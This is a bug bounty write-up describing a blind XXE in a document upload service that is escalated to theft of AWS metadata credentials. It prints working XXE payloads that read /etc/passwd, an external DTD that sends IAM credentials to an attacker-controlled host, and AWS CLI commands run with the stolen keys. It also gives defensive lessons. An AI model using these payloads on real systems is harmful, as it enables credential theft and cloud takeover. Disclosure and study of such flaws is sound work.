From Blind XXE to Full Server Takeover: A Cloud Metadata Journey
A seemingly harmless XML upload feature turned into a critical vulnerability chain when I discovered the application was running on AWS EC2 with overly permissive IAM roles.
Recon
I was testing a document processing platform that allowed users to upload various file formats for conversion. The application advertised support for DOCX, PDF, and XML files. Naturally, my instincts kicked in when I saw XML support—this was prime territory for XXE (XML External Entity) injection.
The target was a SaaS platform at documentflow.example.com. After creating an account, I was presented with a clean interface where I could upload files and receive processed outputs. The interesting part was that XML files could be uploaded directly without any conversion, suggesting the backend was parsing them raw.
Discovery
I started with a basic XXE probe. I crafted a simple XML file with an external entity:
xml<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <document> <data>&xxe;</data> </document>
I uploaded it and... nothing. The response came back processed, but no file contents were reflected. This suggested either the parser had XXE disabled, or more likely, I was dealing with a blind XXE scenario.
Time to test for out-of-band exfiltration. I spun up my VPS and configured a simple HTTP listener:
bashsudo python3 -m http.server 80
Then I modified my payload to trigger an HTTP callback:
xml<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://my-vps.com/xxe-test"> ]> <document> <data>&xxe;</data> </document>
Bingo! Within seconds, I saw a hit on my server:
10.0.45.23 - - [15/Jan/2024 14:32:11] "GET /xxe-test HTTP/1.1" 404 -
I had confirmed blind XXE. But this is where most researchers would stop and report a medium-severity finding. I wanted more.
The AHA Moment
The source IP 10.0.45.23 was a private address, which immediately told me this was a cloud environment. Given the IP range, I suspected AWS. This is when the real exploit chain began to form in my mind.
AWS EC2 instances have access to a metadata service at http://169.254.169.254/ that can reveal sensitive information—including IAM credentials if the instance has an attached role. I crafted a new payload:
xml<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <document> <data>&xxe;</data> </document>
For blind XXE, I needed to exfiltrate the data. I used the parameter entity trick with DTD hosting:
On my VPS, I created evil.dtd:
xml<!ENTITY % file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://my-vps.com/?data=%file;'>"> %eval; %exfiltrate;
Then the triggering payload:
xml<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://my-vps.com/evil.dtd"> %xxe;]> <document> <data>test</data> </document>
My server logs showed:
10.0.45.23 - - [15/Jan/2024 14:45:33] "GET /?data=documentflow-processor-role HTTP/1.1" 200 -
Perfect! The role name was documentflow-processor-role. I updated my DTD to fetch the actual credentials:
xml<!ENTITY % file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/documentflow-processor-role"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://my-vps.com/?data=%file;'>"> %eval; %exfiltrate;
Exploitation
The exfiltrated data contained full temporary AWS credentials:
json{ "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2024-01-15T20:45:22Z" }
I configured these in my AWS CLI:
bashexport AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..."
Then I enumerated the permissions:
bashaws sts get-caller-identity aws iam list-attached-role-policies --role-name documentflow-processor-role
The role had PowerUserAccess attached—essentially admin without IAM modification rights. I could:
- List all S3 buckets (found
documentflow-customer-datawith thousands of uploaded documents) - Describe EC2 instances (discovered database servers and internal admin panels)
- Access RDS databases
- Read secrets from AWS Secrets Manager (including database credentials and API keys)
Impact
This chain went from a blind XXE to complete infrastructure compromise:
- Data breach: Access to all customer documents stored in S3
- Credential theft: Database passwords, API keys, third-party service credentials
- Lateral movement: Ability to access internal admin systems and databases
- Persistence: Could create new IAM users or modify existing resources
The company's CVSS score assessment rated this at 9.8 (Critical). I received a $15,000 bounty—their highest payout at the time.
Lessons
- Defense in depth matters: Even if XXE is hard to exploit directly, it can be a stepping stone
- Cloud metadata services are critical attack surface: Always restrict access via firewall rules or use IMDSv2
- Principle of least privilege: The processing role needed S3 write access, not PowerUserAccess
- Never parse untrusted XML: Use JSON or disable external entity processing entirely
The fix involved disabling XML external entities, implementing IMDSv2 requirement, and drastically reducing the IAM role permissions to only s3:PutObject on specific buckets.